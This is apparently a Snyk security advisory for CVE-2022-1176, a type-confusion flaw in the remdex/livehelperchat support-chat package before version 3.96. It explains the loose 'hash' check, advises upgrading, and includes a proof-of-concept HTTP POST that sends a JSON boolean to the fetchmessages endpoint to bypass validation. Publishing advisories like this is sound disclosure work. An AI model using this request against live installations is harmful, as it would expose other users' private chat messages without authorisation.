Access of Resource Using Incompatible Type Affecting remdex/livehelperchat package, versions <3.96


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.18% (57th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Access of Resource Using Incompatible Type vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PHP-REMDEXLIVEHELPERCHAT-2441340
  • published6 Apr 2022
  • disclosed1 Apr 2022
  • creditCaio Lüders

Introduced: 1 Apr 2022

CVE-2022-1176  (opens in a new tab)
CWE-843  (opens in a new tab)

How to fix?

Upgrade remdex/livehelperchat to version 3.96 or higher.

Overview

remdex/livehelperchat is a package that offers live support for your website. Featuring web and desktop clients. Compatible Windows, Linux, Mac. Desktop client powered by QT. Supports mobile phones based on XMPP service providers (GTalk, Xabber, Mono etc.)

Affected versions of this package are vulnerable to Access of Resource Using Incompatible Type via the requestPayload['hash'] validation due to improper "Type" check. This vulnerability can be exploited by passing other Data-Types via JSON, which causes the if condition to be true.

PoC:

POST /eng/widgetrestapi/fetchmessages HTTP/1.1
Host: demo.livehelperchat.com
Cookie: lhc_vid=eb9bc0c044919538c5b1
Content-Length: 62
Sec-Ch-Ua: "(Not(A:Brand";v="8", "Chromium";v="99"
Accept: application/json, text/plain, */*
Content-Type: application/x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Origin: https://demo.livehelperchat.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://demo.livehelperchat.com/
Accept-Encoding: gzip, deflate
Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

{"chat_id":2,"hash":true,"lmgsid":1,"theme":1,"new_chat":true}

References

CVSS Scores

version 3.1